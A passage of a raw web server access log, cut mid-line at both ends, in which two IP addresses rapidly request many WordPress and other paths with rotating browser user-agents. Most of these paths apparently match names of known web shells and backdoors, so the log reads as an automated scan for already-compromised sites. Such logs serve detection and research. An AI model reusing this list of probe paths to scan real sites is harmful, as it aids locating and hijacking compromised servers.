795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /templates/beez3/jsstrings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-includes/images/crystal/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-admin/images/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-admin/css/colors/midnight/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-includes/server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-admin/css/colors/ocean/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-admin/images/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-admin/images/APLpewO.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-includes/fonts/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-admin/js/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-admin/maint/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-admin/js/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-admin/images/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:58 -0400] "GET /wsoyanzfv3.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:58 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /uploads/Alex-Cross.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-admin/css/colors/blue/ovairezah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-admin/js/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-includes/pomo/xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-admin/css/acces.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-includes/fonts/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-admin/css/colors/midnight/strcmp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /uploads/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-admin/includes/sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-content/plugins/dhon/newsfeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-content/uploads/2024/09/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /wp-includes/class-wpdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:59 -0400] "GET /product-category/gaming/page/2/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-includes/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-admin/css/colors/midnight/fxtell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /vedcve.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-includes/fonts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-includes/images/crystal/option.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-includes/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /jsdindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /files/mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /request-quote/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-includes/ID3/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /images/pushy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-admin/images/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-includes/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-admin/css/colors/midnight/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-includes/server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:00 -0400] "GET /wp-includes/Text/Diff/Engine/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-content/themes/fing/uph.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /images/transfusem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-admin/includes/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-admin/images/APLpewO.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-content/themes/twentytwentythree/templates/blog-alternative.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-content/uploads/zi_whatisit___bea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-admin/js/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-includes/sitemaps/providers/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-content/themes/twentytwentyfour/assets/css/button-outline.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-includes/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-includes/wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-admin/images/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:01 -0400] "GET /wp-includes/widgets/class-wp-widget-block.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-admin/css/colors/blue/ovairezah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-includes/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /wp-includes/widgets/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:02 -0400] "GET /images/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 